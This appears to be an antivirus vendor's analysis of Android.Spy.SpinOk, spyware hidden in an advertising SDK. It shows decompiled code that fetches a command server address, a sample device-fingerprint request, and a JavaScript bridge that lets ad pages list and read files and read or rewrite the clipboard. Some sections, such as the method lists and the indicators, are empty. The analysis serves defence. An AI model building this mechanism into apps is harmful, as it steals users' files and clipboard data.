Android.Spy.SpinOk в вирусной библиотеке:

Frist record added to the Dr.Web virus database: 2023-04-18

Description

Android.Spy.SpinOk virus records are used to detect different versions of a marketing module with hidden spyware functionality and also the apps in which it is embedded. This malicious SDK collects information on files stored on Android devices and is able to transfer them to attackers; it can also substitute and upload clipboard contents to a remote server.

Operating routine

Upon initialization, Android.Spy.SpinOk sends a request to the remote host at the https[:]//d3hdbjtb1686tn[.]cloudfront[.]net/gpsdk.html. address. The incoming response has an x-origin header and contains the current active C&C server address. At the time of the analysis, this was https[:]//s[.]hisp[.]in.

The code responsible for obtaining the C&C server address:

// s1 = https[:]//d3hdbjtb1686tn[.]cloudfront[.]net/gpsdk.html
httpURLConnection0 = CLS21213.openConnection(s1);
httpURLConnection0.setRequestMethod("GET");
if(httpURLConnection0.getResponseCode() == 200) {
      Map map0 = httpURLConnection0.getHeaderFields();
      if(map0 == null || (map0.isEmpty())) {
        goto label_19;
      }
      s = (String)((List)map0.get("x-origin")).get(0);
      Log.e(("host : " + s));
      goto label_17;
}

To display banners with ads, Android.Spy.SpinOk sends a request to the C&C server as follows: https[:]//s[.]hisp[.]in/v1/spin/init. In this request, a large amount of technical data about the infected device is sent. Included are data from various sensors, e.g., gyroscope, magnetometer, etc., that can be used to detect an emulator environment. In addition, the trojan module ignores proxy settings to conceal malicious network connections during a threat analysis.

An example of such a request:

{
   "appk":"*",
   "fit":*,
   "flt":*,
   "zo":180,
   "tz":"*",
   "session":"*",
   "uid":"*",
   "did":"*",
   "oaid":"",
   "lang":"en",
   "jb":1,
   "bundle":"com.dewmobile.kuaiya.play",
   "make":"*",
   "brand":"*",
   "model":"*",
   "serial":"unknown",
   "os":1,
   "osv":31,
   "appv":"6.4 (US)",
   "sdkv":"2.3.1",
   "width":*,
   "height":*,
   "ts":*,
   "contype":2,
   "carrier":"",
   "mccmnc":"00",
   "lcountry":"US",
   "battery":100,
   "btch":1,
   "lowp":0,
   "btime":*,
   "fm":*,
   "ram":6893047520,
   "vpn":0,
   "igp":1,
   "gcy":"*",
   "cdid":"",
   "mac":"",
   "ssd":"*",
   "android":{
      "device":"*",
      "product":"*",
      "screen_density":2,
      "screen_size":2,
      "cpu_abi":"arm64-v8a",
      "cpu_abi2":"",
      "cpu_abilist":"arm64-v8a,armeabi-v7a,armeabi",
      "cpu_abilist32":"arm64-v8a,armeabi-v7a,armeabi",
      "cpu_abilist64":"arm64-v8a",
      "api_level":31,
      "d_dpi":450,
      "dim_size":2,
      "xdp":"403",
      "ydp":"402",
      "dfpid":"*",
      "arch":"",
      "chipname":"",
      "bridge":"0",
      "nativebridge":"",
      "bridge_exec":"",
      "isax86_features":"",
      "isa_x86_variant":"",
      "zygote":"zygote64_32",
      "mock_location":"0",
      "isa_arm":"",
      "isa_arm_features":"default",
      "isa_arm_variant":"cortex-a9",
      "isa_arm64_features":"default",
      "isa_arm64_variant":"generic",
      "build_user":"dpi",
      "kernel_qemu":"0",
      "hardware":"qcom",
      "tdm":******,
      "ifgp":0,
      "sensor_size":30,
      "sensors":[
         {
            "sT":2,
            "sN":"LSM6DSO Accelerometer",
            "sV":"STMicro",
            "sVS":[
               -0.49687726,
               4.0287142,
               7.660931
            ],
            "sVE":[
               -0.89480275,
               4.401784,
               2.5893003
            ]
         },
         {
            "sT":2,
            "sN":"AK09918 Magnetometer",
            "sV":"akm",
            "sVS":[
               -1.9,
               -2.50833827,
               -313.59038
            ],
            "sVE":[
               -0.23,
               0.098,
               -184.57023
            ]
         },
         {
            "sT":4,
            "sN":"LSM6DSO Gyroscope",
            "sV":"STMicro",
            "sVS":[
               0.2752669139,
               7.2253818E-4,
               6.789339E-4
            ],
            "sVE":[
               -0.073490673,
               0.0055892063,
               0.001782567
            ]
         }
      ],
      "fb_id":"",
      "build":"*",
      "langname":"English"
   }
}

In response, the C&C server sends the configuration with the data necessary to display ads. An example of such a configuration is shown below:

{
   "api":{
      "lad":"{https[:]//s[.]hisp[.]in/v1/spin/lad"},
      "log":"{https[:]//s[.]hisp[.]in/v1/spin/log"},
      "al":"{https[:]//s[.]hisp[.]in/v1/spin/al"},
      "cud":"{https[:]//s[.]hisp[.]in/v1/spin/cdid"}
   },
   "events":[
       
   ],
   "okid":"*",
   "ri":60,
   "pls":[
      {
         "id":3758,
         "type":2,
         "model":2,
         "link":"{https[:]//s[.]hisp[.]in/v1/spin/tml?pid=*&did=*&os=*&lang=*&contype=*&reqId=*&sdkv=*&appv=*&osv=*&fit=*&flt=*&zo=*&tz=Europe%2F*&session=*&uid=*&jb=*&bundle=*&make=*&brand=*&model=*&appk=*&width=*&height=*&mccmnc=*&gcy=*&sdk=*"},
         "tml":"{https[:]//cdn[.]hisp[.]in/tml/ba.html?v=*"},
         "crs":[
            {
               "img":{
                  "2941":"{https[:]//cdn[.]hisp[.]in/img/*.gif"}
               },
               "id":*
            }
         ],
         "mi":30,
         "click":"{https[:]//s[.]hisp[.]in/v1/spin/log?pid=*&tag=*&eid=*&did=*os=*&lang=*&contype=*&reqId=*&sdkv=*&appv=*&osv=*&fit=*&flt=*&zo=*&tz=Europe%2F*&session=*&uid=*&jb=*&bundle=*&make=*&brand=*&model=*&appk=*&height=*&mccmnc=*&gcy=*&sdk=*"},
         "fi":0,
         "fc":0,
         "fu":0,
         "pt":1
      }
   ]
}

Next, Android.Spy.SpinOk creates a WebView and opens the URLs specified in the tml parameter of the configuration; it also uses web addresses from the link parameter to redirect to targeted webpages.

An sdk JavascriptInterface is added to these WebViews. This interface grants access to the methods of the com.spin.ok.gp.web.BaseJsInterface and com.spin.ok.gp.code.ʼʽʾʿ classes.

The com.spin.ok.gp.web.BaseJsInterface class contains the following method:

@JavascriptInterface
public void executeM(String s) {
    try {
        Log2.i(("JsProxy" + (" executeMethod params: " + s)));
        JSONObject jSONObject0 = new JSONObject(s);
        String s1 = jSONObject0.optJSONObject("data").optString("m");
        JsProxy.onDispatchMethod(this.mWebView, s1, jSONObject0);
    }
    catch(Exception exception0) {
        StringBuilder stringBuilder0 = CLS21196.MTH135618("JsProxy executeMethod error: ");
        stringBuilder0.append(exception0.getMessage());
        Log2.w(stringBuilder0.toString());
    }
}

A Java code, whose fragment is shown below, is executed in JsProxy.onDispatchMethod.

...
BaseJsInterface.class.getMethod(s, WebView.class, JSONObject.class, String.class).invoke(null, webView0, jSONObject1, s2);

where:

Thus, a JavaScript code executed within loaded WebViews is capable of running static methods of the com.spin.ok.gp.web.BaseJsInterface class with arguments (WebView, JSONObject, String) that lack a @JavascriptInterface annotation.

The most dangerous methods

The public static void listFiles(WebView webView0, JSONObject jSONObject0, String s) method. It tries to obtain a list of files in the directories specified in the param field of the parameter jSONObject0. Next, a JavaScript code is executed in the webView0. This code executes an s function, using a list of files as an argument.

The public static void fileExist(WebView webView0, JSONObject jSONObject0, String s) method. It verifies if the file listed in the param field exists.

The public static void getFileContent(WebView webView0, JSONObject jSONObject0, String s) method. It reads the contents of the file specified in the param of the jSONObject0. The contents are encoded with Base64; an s JavaScript function is then called; the encoded contents of the file are then transferred to it as an argument.

As a result, a JavaScript code executed on loaded webpages that contain ads is capable of stealing user files and files from apps that contain this trojan SDK.

The public static void readClipboard(WebView webView0, JSONObject jSONObject0, String s) method. It allows the contents of the clipboard to be read.

The public static void writeClipboard(WebView webView0, JSONObject jSONObject0, String s) method. It allows the contents of the clipboard to be modified.

At the same time, a com.spin.ok.gp.code.ʼʽʾʿ class that expands the capabilities of the com.spin.ok.gp.web.BaseJsInterface class also has methods available via the @JavascriptInterface annotation. With their help, a JavaScript code can request additional system permissions, open new WebViews, and perform other actions.

The complete list of BaseJsInterface methods:

The methods list for the com.spin.ok.gp.code.ʼʽʾʿ class that expands the BaseJsInterface.

Indicators of compromise

News about the trojan